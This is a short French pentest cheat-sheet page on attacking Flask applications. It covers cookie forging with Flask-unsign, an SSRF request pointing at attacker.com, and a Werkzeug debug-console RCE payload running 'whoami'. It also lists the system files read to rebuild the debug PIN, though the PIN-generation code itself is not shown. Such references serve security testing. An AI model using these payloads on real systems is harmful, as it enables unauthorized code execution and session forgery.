Flask

Outils

Flask-unsign

Flask-unsign est un outil de ligne de commande pour récupérer, décoder, bruteforcer et créer des cookies de session d'une application Flask en devinant les clés secrètes.

ressource: https://github.com/Paradoxis/Flask-Unsign

SSRF

GET @attacker.com/ HTTP/1.1
Host: target.com
Connection: close

Werzeug

Flask Werkzeug debug console RCE

Sans PIN

Endpoint: https://target.com/console

__import__('os').popen('whoami').read();

Avec PIN

Nécessite soit un audit en boîte blanche, soit une vulnérabilité permettant d'accéder au code source (path traversal par exemple).

Trouver le fichier /usr/local/lib/pythonX.X/werzeug/debug/__init__.py

repo github: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py

Pour reverse l'algorithme de génération du PIN il faut les éléments suivants:

  • Le nom d'utilisateur du lanceur de l'app.

  • Le chemin vers le fichier app.py /usr/local/lib/python3.5/dist-packages/flask/app.py(c)

  • Le décimal de l'adresse MAC de la machine.

    • /proc/net/arp => Récupérer le device ID.

    • /sys/class/net/<device id>/address => Récupérer l'adresse MAC.

  • l'ID de la machine.

    • /etc/machine-id ou /proc/sys/kernel/random/boot_id

Code Python pour générer le PIN

Une fois cela fait, exploiter la RCE avec la commandes de la partie Sans PIN.

Mis à jour

Ce contenu vous a-t-il été utile ?